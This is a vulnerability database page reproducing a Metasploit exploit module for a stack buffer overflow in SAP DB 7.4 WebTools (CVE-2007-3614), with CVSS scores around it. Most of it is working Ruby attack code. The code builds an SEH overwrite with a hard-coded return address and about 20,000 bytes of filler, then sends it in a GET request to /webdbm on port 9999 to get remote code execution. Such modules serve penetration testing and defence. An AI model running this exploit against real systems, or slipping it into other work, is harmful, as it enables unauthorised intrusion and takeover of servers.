Lucene search

K
metasploitMC <[email protected]>MSF:EXPLOIT-WINDOWS-HTTP-SAPDB_WEBTOOLS-
HistoryJul 11, 2007 - 9:16 p.m.

SAP DB 7.4 WebTools Buffer Overflow

2007-07-1121:16:30
www.rapid7.com
7

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

This module exploits a stack buffer overflow in SAP DB 7.4 WebTools. By sending an overly long GET request, it may be possible for an attacker to execute arbitrary code.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SAP DB 7.4 WebTools Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
        By sending an overly long GET request, it may be possible for
        an attacker to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-3614' ],
          [ 'OSVDB', '37838' ],
          [ 'BID', '24773' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 850,
          'BadChars' => "\x00",
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
          'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
            },
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
        ],
      'DisclosureDate' => '2007-07-05',
      'DefaultTarget'  => 0))

    register_options( [ Opt::RPORT(9999) ])
  end

  def exploit

    filler = rand_text_alphanumeric(20774)
    seh = generate_seh_payload(target.ret)

    sploit = filler + seh + rand_text_alphanumeric(3000)

    print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)

    res = send_request_raw(
      {
        'uri'   => '/webdbm',
        'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
      }, 5)

    handler

  end
end

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

Related for MSF:EXPLOIT-WINDOWS-HTTP-SAPDB_WEBTOOLS-